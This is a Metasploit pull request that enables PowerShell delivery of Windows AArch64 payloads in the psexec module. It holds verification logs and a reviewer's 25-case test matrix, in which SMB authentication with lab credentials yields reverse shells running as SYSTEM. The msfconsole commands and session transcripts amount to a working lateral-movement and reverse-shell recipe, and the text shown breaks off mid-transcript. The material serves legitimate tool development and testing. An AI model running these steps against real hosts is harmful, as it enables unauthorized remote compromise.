Skip to content

Enable psexec PowerShell delivery for Windows AArch64 payloads - #21857

Merged
bwatters-r7 merged 1 commit into
rapid7:masterfrom
vinicius-batistella:feature/psexec-aarch64-powershell
Sep 3, 2026
Merged

bwatters-r7 merged 1 commit into
rapid7:masterfrom
vinicius-batistella:feature/psexec-aarch64-powershell

Conversation

@vinicius-batistella

Copy link
Copy Markdown
Contributor

Summary

Follow-up to #21779 and rapid7/rex-powershell#49 (rex-powershell 0.1.105).

#21779 wired AArch64 into psexec Native upload (drop an EXE) and left the PowerShell target on x86/x64 only, because run_hidden_psh could not pick the ARM64 powershell.exe. That gem now routes WoA hosts via PROCESSOR_ARCHITECTURE / PROCESSOR_ARCHITEW6432.

This PR:

  • Requires rex-powershell >= 0.1.105.
  • Adds ARCH_AARCH64 to the PowerShell target.
  • Drops the Automatic-branch detour that forced AArch64 payloads onto Native upload. If powershell.exe is on the share, Automatic now selects PowerShell for AArch64 the same way it does for x86/x64.

Native upload is unchanged and still available for payloads that do not fit the 8192-byte AArch64 template.

Verification

Windows 11 ARM64 VM (build 26200), local admin, windows/aarch64/shell_reverse_tcp.

Automatic (target 0)

msf exploit(windows/smb/psexec) > set payload windows/aarch64/shell_reverse_tcp
msf exploit(windows/smb/psexec) > set target 0
msf exploit(windows/smb/psexec) > set verbose true
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.0.164:4444
[*] 127.0.0.1:445 - Connecting to the server...
[*] 127.0.0.1:445 - Authenticating to 127.0.0.1:445 as user 'user'...
[!] 127.0.0.1:445 - No active DB -- Credential data will not be saved!
[*] 127.0.0.1:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 127.0.0.1:445 - PowerShell found
[*] 127.0.0.1:445 - Selecting PowerShell target
[*] 127.0.0.1:445 - Powershell command length: 4905
[*] 127.0.0.1:445 - Executing the payload...
[*] 127.0.0.1:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:127.0.0.1[\svcctl] ...
[*] 127.0.0.1:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:127.0.0.1[\svcctl] ...
[*] 127.0.0.1:445 - Obtaining a service manager handle...
[*] 127.0.0.1:445 - Creating the service...
[+] 127.0.0.1:445 - Successfully created the service
[*] 127.0.0.1:445 - Starting the service...
[+] 127.0.0.1:445 - Service start timed out, OK if running a command or non-service executable...
[*] 127.0.0.1:445 - Removing the service...
[+] 127.0.0.1:445 - Successfully removed the service
[*] 127.0.0.1:445 - Closing service handle...
[*] Command shell session 1 opened (192.168.0.164:4444 -> 192.168.0.164:51876) at 2026-08-31 23:46:59 -0300


Shell Banner:
Microsoft Windows [Version 10.0.26200.8875]
-----


C:\Windows\System32>whoami
nt authority\system

C:\Windows\System32>hostname
Windows

Before this change, Automatic with the same payload printed Selecting native target.

Explicit PowerShell (target 1)

Same payload/options, set target 1: command length 4914, same SCM timeout message, session 2 opened.

Test plan

  • Automatic + windows/aarch64/shell_reverse_tcp selects PowerShell and opens a SYSTEM session on Windows 11 ARM64.
  • Explicit PowerShell target (target 1) with the same payload also opens a session.
  • x64/x86 Automatic still prefers PowerShell when powershell.exe is present (unchanged control flow).

Made with Cursor

rex-powershell 0.1.105 taught run_hidden_psh how to route to the
native ARM64 powershell.exe on Windows-on-ARM, so the psexec
PowerShell target and the Automatic branch no longer have to
detour AArch64 payloads through Native upload.

Require rex-powershell >= 0.1.105, add ARCH_AARCH64 to the
PowerShell target, and drop the AArch64-only fallback in Automatic.
Native upload remains available for oversize AArch64 payloads.

Co-authored-by: Cursor <cursoragent@cursor.com>
@bwatters-r7 bwatters-r7 self-assigned this Sep 1, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to In Progress in Metasploit Kanban Sep 1, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

Testing

PsExec PowerShell Delivery Test Matrix

Module: exploit/windows/smb/psexec
Target: PowerShell (target 1)
Listener: 10.5.135.210
Result: 25/25 passed

All sessions opened successfully as NT AUTHORITY\SYSTEM. Each session successfully ran whoami and ipconfig and returned the expected target address.

# Host architecture Target host PowerShell method Payload type Payload Result Session verification Transcript
1 x86 10.5.132.102 old staged windows/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
2 x86 10.5.132.102 old stageless windows/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
3 x86 10.5.132.102 msil staged windows/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
4 x86 10.5.132.102 msil stageless windows/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
5 x86 10.5.132.102 net staged windows/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
6 x86 10.5.132.102 net stageless windows/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
7 x86 10.5.132.102 reflection staged windows/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
8 x86 10.5.132.102 reflection stageless windows/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.102 Full output
9 x64 10.5.132.154 old staged windows/x64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
10 x64 10.5.132.154 old stageless windows/x64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
11 x64 10.5.132.154 msil staged windows/x64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
12 x64 10.5.132.154 msil stageless windows/x64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
13 x64 10.5.132.154 net staged windows/x64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
14 x64 10.5.132.154 net stageless windows/x64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
15 x64 10.5.132.154 reflection staged windows/x64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
16 x64 10.5.132.154 reflection stageless windows/x64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.154 Full output
17 AArch64 10.5.132.147 old staged windows/aarch64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
18 AArch64 10.5.132.147 old stageless windows/aarch64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
19 AArch64 10.5.132.147 msil staged windows/aarch64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
20 AArch64 10.5.132.147 msil stageless windows/aarch64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
21 AArch64 10.5.132.147 net staged windows/aarch64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
22 AArch64 10.5.132.147 net stageless windows/aarch64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
23 AArch64 10.5.132.147 reflection staged windows/aarch64/shell/reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
24 AArch64 10.5.132.147 reflection stageless windows/aarch64/shell_reverse_tcp Pass SYSTEM; IPv4 10.5.132.147 Full output
25 WOW64 (x86 payload on x64) 10.5.132.154 reflection stageless windows/shell_reverse_tcp Pass SYSTEM; x86 process on AMD64; IPv4 10.5.132.154 Full output
Full session outputs
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46001
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46001
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (240 bytes) to 10.5.132.102
[*] Command shell session 1 opened (10.5.135.210:46001 -> 10.5.132.102:52760) at 2026-09-01 11:54:50 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46002
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46002
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46002 -> 10.5.132.102:52309) at 2026-09-01 11:34:46 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46003
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46003
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (240 bytes) to 10.5.132.102
[*] Command shell session 1 opened (10.5.135.210:46003 -> 10.5.132.102:52326) at 2026-09-01 11:35:25 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46004
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46004
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46004 -> 10.5.132.102:52347) at 2026-09-01 11:36:05 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46005
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46005
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (240 bytes) to 10.5.132.102
[*] Command shell session 1 opened (10.5.135.210:46005 -> 10.5.132.102:52365) at 2026-09-01 11:36:46 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46006
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46006
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46006 -> 10.5.132.102:52382) at 2026-09-01 11:37:26 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46007
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46007
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (240 bytes) to 10.5.132.102
[*] Command shell session 1 opened (10.5.135.210:46007 -> 10.5.132.102:52403) at 2026-09-01 11:38:05 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.102
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46008
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46008
[*] 10.5.132.102:445 - Connecting to the server...
[*] 10.5.132.102:445 - Authenticating to 10.5.132.102:445 as user 'msfuser'...
[*] 10.5.132.102:445 - Executing the payload...
[+] 10.5.132.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46008 -> 10.5.132.102:52428) at 2026-09-01 11:38:45 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.102)
whoami
nt authority\system

C:\Windows\system32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.102)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::17cf:f9ff:2181:eb2c%8
   IPv4 Address. . . . . . . . . . . : 10.5.132.102
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\system32>
[*] Killing all sessions...
[*] 10.5.132.102 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/x64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46009
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46009
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (336 bytes) to 10.5.132.154
[*] Command shell session 1 opened (10.5.135.210:46009 -> 10.5.132.154:65406) at 2026-09-01 11:39:51 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/x64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46010
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46010
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46010 -> 10.5.132.154:65410) at 2026-09-01 11:40:31 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/x64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46011
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46011
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (336 bytes) to 10.5.132.154
[*] Command shell session 1 opened (10.5.135.210:46011 -> 10.5.132.154:65414) at 2026-09-01 11:41:11 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/x64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46012
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46012
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46012 -> 10.5.132.154:65418) at 2026-09-01 11:41:51 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/x64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46013
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46013
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (336 bytes) to 10.5.132.154
[*] Command shell session 1 opened (10.5.135.210:46013 -> 10.5.132.154:51115) at 2026-09-01 11:42:31 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/x64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46014
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46014
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46014 -> 10.5.132.154:51119) at 2026-09-01 11:43:11 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/x64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46015
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46015
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (336 bytes) to 10.5.132.154
[*] Command shell session 1 opened (10.5.135.210:46015 -> 10.5.132.154:51123) at 2026-09-01 11:43:51 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/x64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46016
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
